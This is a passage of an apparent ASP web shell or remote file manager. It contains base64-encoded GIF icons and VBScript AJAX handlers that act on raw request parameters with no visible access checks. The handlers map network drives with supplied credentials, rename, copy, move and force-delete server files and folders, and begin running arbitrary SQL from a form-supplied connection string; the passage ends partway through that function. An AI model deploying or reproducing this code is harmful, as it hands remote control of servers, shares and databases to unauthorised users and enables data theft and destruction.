972"tGYcyVPuauD7g0JtSCwaPwVcIoFoIga932/gOlqvWJkyAXVGpT9HdkwuAwwE3ICx9H7BPoZ5Tqc10ofDzuSGw+uAgR14eXtdTn5ggouMBgJpCQp5ent9iXGMmXQNDgSeCQwMD4WVlolimqljnZ4ED6GiaqWIiVRzDQW5BVWqY2itrrAMkoYpTlBwQXO6zEK9WaytoLAnJDtLeycPQC3LzczPRwuOkgetB8IMk1wPJwK8i7jfuvDhMiIC" &_
973"+Qr7CtLCk+bCzWtmr0a+gwf49fsU6kQeAvU0FTDgSABFggVlLDiYj4BCc57/cEgiYKBgRY4CFujKKOMkQn4gPaHK6BLlSpYwUOZzkHBfq24ZJ9Y8aGAXTiQUZepM089BSZwUh+YretRD1F+edFqsKuGqVgFcOVx1BEzngrAUH/2c+jQsBqFXgTlA6RYrMJIU3WYYG7XswYgs1d71RFXvBb5R1eY763bj4FZgDU+QV8Ai4qiSz3R8HFly" &_
974"s4qX2+rlGI3A3M56v51E7MzwV46SKesax3ZsZs1MRxL1PI+2Zcy3byjcd2Au49QDx11tndnBcJio3Q4Ed5vCr+f7REufnqs6hWh5YJrOLPsbYMmP797m7p3CuRxsYlYf2P47gWnCEoyvLvt8cPzpJKBd/30EdvVKOqE8MGCB9aVxoDCjEMDghABMogB8D5RzAIUMAuThJBwWiAcX1zwUIoEGWGPIAAoseKJhDTCwYgkM+PciWiSumEB0" &_
975"NxqmhIw7sHFCj9UtYeSRRhJ525GHPLGEkpnhYIwbCCjAoAMprADUf1Q6UWN9BQyQDHOSMdHlEzxKJqYftix5ZgkJtOfAJQHMpGYJXhjS3jaXyHGbIU340MQA7dEJhAnv6KXiGwEgQKZhhgaQzaOB4VmLjUfxmcgT2WDaSwNM0GmnYXNewukeaQbFqBR+/rnpjHG6Fal3YcJxainueKrJrHLyOSigThh5AKXPaOpHqwSqyIMXRx6g6+ki" &_
976"pZ4yoQAr5olkqr2smcyzYYE6SxNHAmmOixJpOwWxtOboRTvY7DAJRBlhyQ23MI7QhQlGGgKQhFBWtcUSQLqbUA7FkduvJgYgaYg21MhE78Fz/Kvvg6GEdABRY9EDcR1J5LvDPgh65JNgLqnU3cZ03ECiQwCy8dFdNt2EcsoAUTzMcMAUx1FRuTw8Mw2EUByJQvpZTMDO1P1sxh154KffcEUTEvPJSs+BhgLxeTJcTJNMjW7V0OQs3jnm" &_
977"IC0z2LeAR5wDpelMlMZoA2IAK2VvBhlHScctCD4HtVLy2Xov4ttvUcEdOJQRAAAh+QQABQD/ACwAAAAAoABQAAAE/xDISau9OOvNu/8GcRyEmJzPMCRC871wLM/024ijog4P4iO7RKFGLBqPMYOAkHgoRrvBb4oIBBgOF3LL7cYajtKBQX4kdtWpdW0dLLzwuFwSLiXI5Gg14GP7B1pzgoMwC0oETyUPeAw+Kmt9fmwOhJWWGA0CmgIH" &_
978"Cp4Ei3iOA5CSfgyXqambmp6ud6JAUlZ7pmuquIMLrAKuroxSKmm1tgG5x10FBiEEDpudvrBkslKRxajI2UXLyyUlmoi+THhnKj3WppTa6zLc3d4EmtCfJg8kJijEbIDs/R/K7uA1E+BgnrcsGBaQ+vPGn8MN7pYtgbcJRzMDHAQ8aIPwoccKDf8KFNAUUSCvjyiLFFjAklVAb6wCpZz5YiVLQy65TdTUkKZPDw1uslSyKaKBIT+TerAp" &_
979"lChJdylDriwgU2kGpk2LckuJlSVSq1eFNlWy7KvHrjfNgq2AVqhaj0HFCq26VkJcuSzpPmybtu4Fvm/P4hXq96/cwIIlClhGuLAFqQuoJlXGi2dkx5gnOK28QG9mq5Qrk/yMWadojKQLR8yJOnVdo0Zd+9VJcavstcoEejt6u24d3QR6r90FPF5P4T+J/h64GLlS0Sd9aqyCxbPfitBIbKKpUJKb1AYK+vJ0wEFrlAu9Wwe7YN74A8c9" &_
980"CigWQF1mA+PHn/e48RrpJfl9Yt//R/RZQZo3OZDnzUwFGvNZcfDM1J8tQLCwnnRiNMFAAvcMKB991Aih2jiMbEjAfh6l5wc1KiRwYVTSlOgidyrSEsUOAsx2QCiM2IPiRxrRwmIUCfiFgwIaOjFCcErd6OQAfo0g5ZRSWvWkHicc0IJSVJbT4gFW6fDkDydkiZhHRz7JwJnyjelImVm+yI4BUKh5gJzsNOAlGj7AWWaOPzFx5QmA/lTA" &_
981"nj+Y4SeHSTWQgpNlgqlUJmJWuGiZSt3B5w8rFHbpCQyoQMKPD5V5DhUIsDnTAZdGISUBeB7DagKokhmrQwYsSuSUTKKUayO1qlAoWLOC6iqVpPZzQK2jFFlX9QHFRvGElEgmcNFHBdQKCQK3PkRnORxOyeNB3VYiDDprfOcYlSPwyAA8HrIj5iym8FMYDtQyYi08yR4jgDD0xWsVnVPGeA++i8WHjJ702oLNveKS440vMbFzaIOY3SBl" &_
982"KPuG48omDphXVjYNYHwfPge7p+VE8bjjVblHTGjKw58xg6A4LJewWV+rBCzbcr5ouVw8LvF8SY3pwjwTGBOT54xAKxc1VyrdMSTcIUtWZBIvbuESZAADdOTcLqwI5AzXjTnXDy9bF5222utkAvJulRnQNdz+4ETQYoptIpbSeBPiDitiqRp4NgBxU/jhjYoUGeCM3xYBACH5BAAFAP8ALAAAAACgAFAAAAT/EMhJq7046827/5MhEITj" &_
983"EMdBGGDrvnAsb4vopCSRMI9yJINB4iBozI7IpJLTEDgFB4VUx6g+gtjE0Ljser+dgmFschKk0l2VgUBgBwztgQuu27vj8YgERSuCVQNtWG2Fc3eIiTB5Yzkkfn9wbINtAQGFCAkFipydGWKMjjp+gJNuCJaXhUJ0nq6JDWJOeaKQpZipqoMDAq++dwULC0+zolFoQFW4qai5A62/0UjBwsRPxn4PgW65zbkBAwvS4zMNwsIixAaiN2hU" &_
984"VwPM387Q5PZh5zXWAuskDmYqSpw4IOjSvG8O7in0QO1cuid6/jkRd4FApYOpGCzcqKGhQ3Vj/zo0AIIxF8eTFjw6TGdgE8MEJVOhnCnBXL6b9ZjEK6mR5kyV51y6EBAzoc+fNxcIfbFz3rOjNGMFK5ATxIKmqcJB3apEwANLAxxU5Uq2rNmzaNOqXcu2rdu3cOPKXegVFQOxc9VedUoxLwapSsf6wkrP7wWgS6URLWnU8ASgwhL/+srT" &_
985"8QSbSYUJ5hTTkmUJkIOS6xzgM4DQ58hRxuhGSBG/qIWRW8z6jaa81PTwMxDZHmFmb4Ik2IzW3ENiC4gr2vutdXBeeY+ro0t513Mhc2Xt4yfZ9/U3cxmBDMnxe5A2Q167ZcQ+z8lIwTFp2bJej6PdLDgKeI5JyPxDbDUiCv8J5G00UnyFzDdfL2wVMKAj3dlTABDnFfKAgnK0tcCDOfTFURN/DIKhgm2JwCE/UI04YltPnJCDRAz69IOK" &_
986"OzyAQ35nbWcNVAbQKFwKOCjH0UMoSKECilDNqCAWQAJJwFnDtAPJATj61ICSOwThQ5MpVMlVH5BI0RiPM8bBZZNPmmVAmFOscNaZQCqQwAMleOnTCMcY+eKbZyqgTRUvCkmOMXOamWZZKHD5ZxyOjEmTI2qsEYegChnApQKSBpSDnSftEamkCRxKVqIpRBoqOzyiIKmkPnBqJal/njrgVg58uoaNKqC1zgEXaupICrN4+KGtwQ2n1h4D" &_
987"GmkNpa5EUajndUEAeFY/tUyxz0ykfkcfWi7mcAwR+whbaanXxZFAjGY10O0ZPsDohItjRCgNCvzJx+xGJqJAwD6OMGIgAW9Ugkkm8pK1nSjscQRPQQO7Yexa0q27gm4t3WvHjIIsk4oCFi80DDGi8KNOb/b0mMDAB2l1LMj9hksyOT9o7FTH9zRxzabSCZAPzV1cWUhnjkKZ72778CbaPQ9cVJlboOg2cj4K7ffbPHCJZ01SCh1IWlx5" &_
988"XH1Twa9M6M1BPcEFym6Z8QzGlUXBlplSKE0Njto+ITYTc86IKxdgVB3lFVh4mSb44IQXbkEEACH5BAAFAP8ALAAAAACgAFAAAAT/EMhJq7046827/0BhjKRgLmCqrmzrbk1RLORI3CZxKIRjvMCgcOiRzUwmw225UzhvjgZxSq2qjCKkwLEkJBLOcOLxIPys6DQ6ZjRodbfDNzwYMO6KA0Gq7vtdWAVaAgd6XnMKdXZ3D4UEf5CRRViD" &_
989"jodgCYp3inV7kp+gE4FuSHCXiZoIqpwHfKGvfqNaDoZfYJyqq4oJrbC+aWwyC4NMYKh1uQicXwK/zlWBw0hKN3R2yZwDXwfP3UTRNSS0Tne5isnKrt7rLcEF6hQGDgkMugMIAQHJCQXs/moNCODKh04bvH8Ihwi8p69gnWYJIxKRg85cnQQSMwZpcKBivoYD/zRicPAAH4MoIjHcU/WxJYJ+KSUUGNAy3wCYMSegwlfT5kGJNHsGGPBT" &_
990"owCGQvM5iOkgqdKcFBLwTMog5gOnAapClYk1X8yuAbZOAPu160UBRRNedapV5Nqkynbh1NjU6dKUdeFmS5D2X9CeRHP+rRk3G0SRMwHPRTyYYLZdUEnaRClWMsjHisRqzoA52+bPFY49VsULLejNR0evstXrtNhMuHLZ2tbXdcICsJGpejCbmW2xAhKt7r3t92bixI1rRm6LwQBHZ5SLlINcUSFHtaV3M1D94nVH2jVSb279e6Hoxt1l" &_
991"B8VxtqI85vVID2TknwHq2uJ/V04fS0T95qXXn/8R672iA4BP9ICeZgP6h9B98SnwAAOGQFHgbQ3KENGB302YQBdQfGYEDaQIYICGCQX0nQIMfAjiDQvmJMwgSCxm34F5vLjEXWI1IA2NJsakI4iflUjjiSkNieMJYhmpBQkpCaBjGAdocaE3JUxTQ0rUdBEGD4NAVYOUS5gYY0RcMEEljSjERMKQZ6aYJgFUOgCkjF2+eBiXUuYIpAlQ" &_
992"kamjAG0G+ucWZoxgI0KCgohEk38uEY5RiMZB5SNb/fgGDuHEuc4sTXxJWU40ztkpkhGVGOqXPWzVADEwdmqiDFdKIg2dXzphiKcS0ZCDmWPWWN8/Jqwaxo6gnTpIIP+8miuzPXfwgulmymoRSK2RhFrHHdzyJWI4g5zILLE3QMstI9NqBq619D2ow7mb7GKaulme0F9C88BrUX7YriMCKeLei1ADE3K7LzYMndTvL+7QtzAkO5Cx0jkN" &_
993"CXUTVBlKxGE2PE0F2MOwDJgRhAcMVLFdrmIBsiQHmuyxUG2F542KnBD0slAy23dMMmTl/A91PGMVs88zy7ESSygTbV9HQX+s9G253Xzx0xEFV/NQo1Kt9dYcRAAAIfkEAAUA/wAsAAAAAKAAUAAABP8QyEmrvTjrzbv/VFMUi2GaBaiubOu+4EgaQn0acK7v/CuXtSCNQBAYFr2kcpkTjWjBGpHoCDaY2KzWIitAg4TDtBjcms/JblTg" &_
994"OIiJboXiIEDb7yx1NCw+JBJygQ5XeIWGF11fAm5if4CBCgQOh5SUTl5RbmGOkJEEOJUgAg8IAQyDoSs/X2EEnHIJDAMMCQepHQUDAbu8Aym3H6s1DkR/gQPIswwMBITAF7q80gPOzxtOJSbFx8nLy2LWFgLS5AGT4SsNi7Dd3g9uoOgAD+XSDPIsAnLt3nPg+PXIDUggoBq+DcQeeJOFAAGyWgcDTnv46+A1BwqXNXSYjBo+ehL/A3RM" &_
995"YNAihgMKN3ZEdqDkrXESOSarY3KDAT8ruxHEF62czGQJanIgkBMoRHm5fBZF8IeOy5oNig50ZHEUr5/INjqq9dRkrGQbGw4UqmCp1q0thVbwk4BUWLEVDwow63DrH5pqJRj48zYsSZMNEqz0a/doXgkHGPQVOwDvwQKCwTZ8UPjP4QlRFwMVqq7sgLqVLV+WkDXsytFsKzN4Jyae0I4NryIbvbfyQ0ZiuobzXI/paACpHSXDrUntXIke" &_
996"LzcILmuAP+KuD0YNeY42W1rEcRNQyyDkvd8UsmdXG3IX+PDiDyhoKyk6uvIBzk/gg1tBxgRTUH30Ll9v9owMvEGF/1zU9ScBfep5g98YnxzUk0C65dUAffcxOCA+SQkUl4EGhEGZgBaaZJVI+hlogYUhmmigACjCQYcRSKj4W4coykGGFTKORgyDcry4Ro7K7QjHHFWsIUCMQOY1RCtGCpEkeE3++ORoUbJBBApTKtnkGDdkKdQCRo5h" &_
997"RJdeihiFkJ/cYMCGZYajDhhTqHmCiZcUEGE4QBAxppzujdZFF7TxeYIAMtyJ1J+AHiYoFGsmKiGiXRj6jBdyCoHoYZD+eRmfQSyAqKS3dJGNDUcEOmgNnkKalzBG/kbpCamqqtYIQDTZ56qZyvCoIlFgCV6uuq7KqxAmnFfnp5etQcwbRsgHbNKgUmgyBqiHXmpqi0X0Vye11mDSYhVItmkRjWOoB8gB1YlrUbmvyFGiuvJY6YoxsKz2" &_
998"QIMXjFLKKdzCmwMUBHTSzgO3qZdVOb74iwaY63CDjGIyqYRcvwq3UAMkkc2i0mcBbFRgxVt05jBDYpXSsckSfQfyFgHvo4xpJsdW3spmkAugaVehLBHNZuwYi0aM5Vyeyjxj0cCy3jDG8cnlpVs0FgY4EMsDBIN1ssz1JPd0yHwMhjPCbG6dRYcHPNzWxp+ZPMC7YttxU1MGD1RQ23RPGQEAOwA="
999
1000img_dir = "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs="
1001img_lvUp= ""&_
1002"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO"&_
1003"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi"&_
1004"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk"&_
1005"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG"&_
1006"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA"&_
1007"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1008"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1009"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5"&_
1010"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf"&_
1011"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ"&_
1012"ADs="
1013
1014img_txt = ""&_
1015"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ"&_
1016"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7"&_
1017"UpPWG3Ig6Hq/XmRjuZwkAAA7"
1018
1019img_img = ""&_
1020"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA"&_
1021"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci"&_
1022"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd"&_
1023"FxEAOw=="
1024
1025img_unknow = ""&_
1026"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U"&_
1027"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo"&_
1028"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31"&_
1029"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4"&_
1030"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP"&_
1031"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz"&_
1032"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ"&_
1033"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io"&_
1034"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1035"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1036"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1037"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1038"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1039"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&_
1040"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz"&_
1041"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM"&_
1042"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC"&_
1043"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj"&_
1044"yAsokBkQADs="
1045
1046'************************* media.asp *************************
1047
1048
1049sub ErrHandle(rspText)
1050Dim myError
1051 if Err.Number<>0 then
1052 set js = new JSON
1053
1054 set myError = server.createObject("scripting.dictionary")
1055 with myError
1056 .add "error", err.number
1057 .add "errorDesc", err.Description
1058 end with
1059
1060 Response.Write rspText &" = {"
1061 Response.Write js.toJSON("error", myError, true)
1062 Response.Write ","
1063 Response.Write ajaxInfo()
1064 Response.Write "};"
1065 Response.End
1066 end if
1067end sub
1068
1069sub ajaxExplorer()
1070 on error resume next
1071 Dim infoList, dirList, fList
1072 infoList = ajaxInfo()
1073 dirList = filesfoldersList()
1074
1075 Response.Write "lstResponse = {"
1076 Response.Write infoList
1077 Response.Write ","
1078 Response.Write dirList
1079 Response.Write "};"
1080end sub
1081
1082function ajaxInfo()
1083 on error resume next
1084 Dim myInfo
1085 set js = new JSON
1086
1087 set myInfo = server.createObject("scripting.dictionary")
1088 with myInfo
1089 .add "path", folderLocation
1090 .add "filepath", FilePath
1091 end with
1092
1093 ajaxInfo = js.toJSON("info", myInfo, true)
1094end function
1095
1096function ajaxMapDriver()
1097 on error resume next
1098 Dim objNetwork, myInfo, driverLetter, remoteShare, userName, password
1099
1100 driverLetter = Request("driverLetter")
1101 remoteShare = Request("remoteShare")
1102 userName = Request("userName")
1103 password = Request("password")
1104
1105
1106 set js = new JSON
1107 set myInfo = server.createObject("scripting.dictionary")
1108
1109 Set objNetwork = CreateObject("WScript.Network")
1110 objNetwork.MapNetworkDrive driverLetter & ":", remoteShare, True, userName, password
1111 if Err.Number <> 0 then
1112 myInfo.add "error", Err.Number
1113 myInfo.add "errorDesc", Err.Description
1114 else
1115 myInfo.add "error", 0
1116 myInfo.add "errorDesc", ""
1117 end if
1118 Err.Clear
1119
1120 with myInfo
1121 .add "action", "mapDriver"
1122 .add "driverLetter", driverLetter
1123 .add "remoteShare", remoteShare
1124 .add "msgResponse", "Mapped " & driverLetter & ": to " & remoteShare & " !"
1125 end with
1126
1127 ajaxMapDriver = js.toJSON("action", myInfo, true)
1128end function
1129
1130function ajaxRemoveDriver()
1131 on error resume next
1132 Dim objNetwork, myInfo, driverLetter
1133
1134 driverLetter = Request("driverLetter")
1135
1136 set js = new JSON
1137 set myInfo = server.createObject("scripting.dictionary")
1138
1139 Set objNetwork = CreateObject("WScript.Network")
1140 objNetwork.RemoveNetworkDrive driverLetter & ":"
1141 if Err.Number <> 0 then
1142 myInfo.add "error", Err.Number
1143 myInfo.add "errorDesc", Err.Description
1144 else
1145 myInfo.add "error", 0
1146 myInfo.add "errorDesc", ""
1147 end if
1148 Err.Clear
1149
1150 with myInfo
1151 .add "action", "removeDriver"
1152 .add "driverLetter", driverLetter
1153 .add "msgResponse", "Driver " & driverLetter & ": removed !"
1154 end with
1155
1156 ajaxRemoveDriver = js.toJSON("action", myInfo, true)
1157end function
1158
1159function ajaxRenameFile()
1160 on error resume next
1161 Dim fileObject, myInfo, fileName, fileId, newName
1162
1163 fileName = Request("fileName")
1164 fileId = Request("fileId")
1165 newName = Request("newName")
1166
1167 set js = new JSON
1168 set myInfo = server.createObject("scripting.dictionary")
1169
1170 Set fileObject = fso.GetFile(folderLocation & fileName)
1171 fileObject.Name = newName
1172 if Err.Number <> 0 then
1173 myInfo.add "error", Err.Number
1174 myInfo.add "errorDesc", "Unable to rename """ & fileName & """ !" & vbCrLF & Err.Description
1175 else
1176 myInfo.add "error", 0
1177 myInfo.add "errorDesc", ""
1178 end if
1179 Err.Clear
1180
1181 with myInfo
1182 .add "fileId", fileId
1183 .add "newName", newName
1184 .add "action", "renameFile"
1185 .add "fileName", fileName
1186 .add "msgResponse", "Renamed """ & fileName & """ to """ & """" & newName & """ !"
1187 end with
1188
1189 ajaxRenameFile = js.toJSON("action", myInfo, true)
1190end function
1191
1192function ajaxRenameFolder()
1193 on error resume next
1194 Dim fileObject, myInfo, folderName, folderId, newName
1195
1196 folderName = Request("folderName")
1197 folderId = Request("folderId")
1198 newName = Request("newName")
1199
1200 set js = new JSON
1201 set myInfo = server.createObject("scripting.dictionary")
1202
1203 Set fileObject = fso.GetFolder(folderLocation & folderName)
1204 fileObject.Name = newName
1205 if Err.Number <> 0 then
1206 myInfo.add "error", Err.Number
1207 myInfo.add "errorDesc", "Unable to rename """ & folderName & """ !" & vbCrLF & Err.Description
1208 else
1209 myInfo.add "error", 0
1210 myInfo.add "errorDesc", ""
1211 end if
1212 Err.Clear
1213
1214 with myInfo
1215 .add "folderId", folderId
1216 .add "newName", newName
1217 .add "action", "renameFolder"
1218 .add "folderName", folderName
1219 .add "msgResponse", "Renamed """ & folderName & """ to """ & """" & newName & """ !"
1220 end with
1221
1222 ajaxRenameFolder = js.toJSON("action", myInfo, true)
1223end function
1224
1225
1226function ajaxCopy()
1227 on error resume next
1228 Dim myInfo, targetPath, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
1229
1230 set js = new JSON
1231 set myInfo = server.createObject("scripting.dictionary")
1232
1233 targetPath=addslash(Request("targetPath"))
1234
1235 foldersId = Request("foldersId")
1236 filesId = Request("filesId")
1237
1238 ndir=Request("dx").Count
1239 nfile=Request("fx").Count
1240
1241 if (ndir>0) then
1242 gMsg="Copying folder(s) to """ & targetPath & """ ..."
1243 For Each dir In Request("dx")
1244 itemName=dir
1245 itemPath=folderLocation & itemName
1246 FSO.CopyFolder itemPath, targetPath, true
1247 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
1248 if Err.Number<>0 then
1249 gMsg=gMsg & "error (" & Err.Description & ")"
1250 Err.Clear
1251 else
1252 gMsg=gMsg & "success"
1253 end if
1254 Next
1255 end if
1256
1257 if (nfile>0) then
1258 if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
1259 gMsg=gMsg & "Copying file(s) to """ & targetPath & """ ..."
1260 For Each file In Request("fx")
1261 itemName=file
1262 itemPath=folderLocation & itemName
1263 FSO.CopyFile itemPath, targetPath, true
1264 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
1265 if Err.Number<>0 then
1266 gMsg=gMsg & "error (" & Err.Description & ")"
1267 Err.Clear
1268 else
1269 gMsg=gMsg & "success"
1270 end if
1271 Next
1272 end if
1273
1274 if Err.Number <> 0 then
1275 myInfo.add "error", Err.Number
1276 myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
1277 else
1278 myInfo.add "error", 0
1279 myInfo.add "errorDesc", gMsg
1280 end if
1281 Err.Clear
1282
1283 with myInfo
1284 .add "action", "copy"
1285 .add "foldersId", foldersId
1286 .add "filesId", filesId
1287 .add "msgResponse", gMsg
1288 end with
1289
1290 ajaxCopy = js.toJSON("action", myInfo, true)
1291end function
1292
1293function ajaxMove()
1294 on error resume next
1295 Dim myInfo, targetPath, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
1296
1297 set js = new JSON
1298 set myInfo = server.createObject("scripting.dictionary")
1299
1300 targetPath=addslash(Request("targetPath"))
1301
1302 foldersId = ""
1303 filesId = ""
1304
1305 ndir=Request("dx").Count
1306 nfile=Request("fx").Count
1307
1308 if (ndir>0) then
1309 gMsg="Moving folder(s) to """ & targetPath & """ ..."
1310 For Each dir In Request("dx")
1311 itemName=dir
1312 itemPath=folderLocation & itemName
1313 FSO.MoveFolder itemPath, targetPath
1314 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
1315 if Err.Number<>0 then
1316 gMsg=gMsg & "error (" & Err.Description & ")"
1317 Err.Clear
1318 else
1319 gMsg=gMsg & "success"
1320 foldersId = foldersId & itemName & "|"
1321 end if
1322 Next
1323 end if
1324
1325 if (nfile>0) then
1326 if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
1327 gMsg=gMsg & "Moving file(s) to """ & targetPath & """ ..."
1328 For Each file In Request("fx")
1329 itemName=file
1330 itemPath=folderLocation & itemName
1331 FSO.MoveFile itemPath,targetPath
1332 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
1333 if Err.Number<>0 then
1334 gMsg=gMsg & "error (" & Err.Description & ")"
1335 Err.Clear
1336 else
1337 gMsg=gMsg & "success"
1338 filesId = filesId & itemName & "|"
1339 end if
1340 Next
1341 end if
1342
1343 if Err.Number <> 0 then
1344 myInfo.add "error", Err.Number
1345 myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
1346 else
1347 myInfo.add "error", 0
1348 myInfo.add "errorDesc", gMsg
1349 end if
1350
1351 with myInfo
1352 .add "action", "move"
1353 .add "foldersId", foldersId
1354 .add "filesId", filesId
1355 .add "msgResponse", gMsg
1356 end with
1357
1358 ajaxMove = js.toJSON("action", myInfo, true)
1359end function
1360
1361
1362function ajaxDelete()
1363 on error resume next
1364 Dim myInfo, foldersId, filesId, ndir, nfile, dir, file, itemName, itemPath, gMsg
1365
1366 set js = new JSON
1367 set myInfo = server.createObject("scripting.dictionary")
1368
1369 foldersId = ""
1370 filesId = ""
1371
1372 ndir=Request("dx").Count
1373 nfile=Request("fx").Count
1374
1375 if (ndir>0) then
1376 gMsg="Deleting folder(s) ..."
1377 For Each dir In Request("dx")
1378 itemName=dir
1379 itemPath=folderLocation & itemName
1380 FSO.DeleteFolder itemPath,true
1381 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
1382 if Err.Number<>0 then
1383 gMsg=gMsg & "error (" & Err.Description & ")"
1384 Err.Clear
1385 else
1386 gMsg=gMsg & "success"
1387 foldersId = foldersId & itemName & "|"
1388 end if
1389 Next
1390 end if
1391
1392 if (nfile>0) then
1393 if (ndir>0) then gMsg= gMsg & vbCrLF & vbCrLF
1394 gMsg=gMsg & "Deleting file(s) ..."
1395 For Each file In Request("fx")
1396 Err.Clear
1397 itemName=file
1398 itemPath=folderLocation & itemName
1399 FSO.DeleteFile itemPath,true
1400 gMsg=gMsg & vbCrLF & "- " & itemName & ": "
1401 if Err.Number<>0 then
1402 gMsg=gMsg & "error (" & Err.Description & ")"
1403 Err.Clear
1404 else
1405 gMsg=gMsg & "success"
1406 filesId = filesId & itemName & "|"
1407 end if
1408 Next
1409 end if
1410
1411 if Err.Number <> 0 then
1412 myInfo.add "error", Err.Number
1413 myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
1414 else
1415 myInfo.add "error", 0
1416 myInfo.add "errorDesc", gMsg
1417 end if
1418
1419 with myInfo
1420 .add "action", "delete"
1421 .add "foldersId", foldersId
1422 .add "filesId", filesId
1423 .add "msgResponse", gMsg
1424 end with
1425
1426 ajaxDelete = js.toJSON("action", myInfo, true)
1427end function
1428
1429function ajaxRunSQL()
1430 on error resume next
1431 Dim myInfo, connection, command, rHeader
1432 dim adoCon, rS
1433 dim i,intAffected
1434
1435 connection=request.form("connection")
1436 command=request.form("command")
1437 intAffected = -1
1438
1439 set js = new JSON
1440 set myInfo = server.createObject("scripting.dictionary")
1441 set adoCon=Server.CreateObject("ADODB.Connection")
1442 adoCon.Open connection
1443
1444 if Err.Number<>0 then
1445 myInfo.add "error", Err.Number
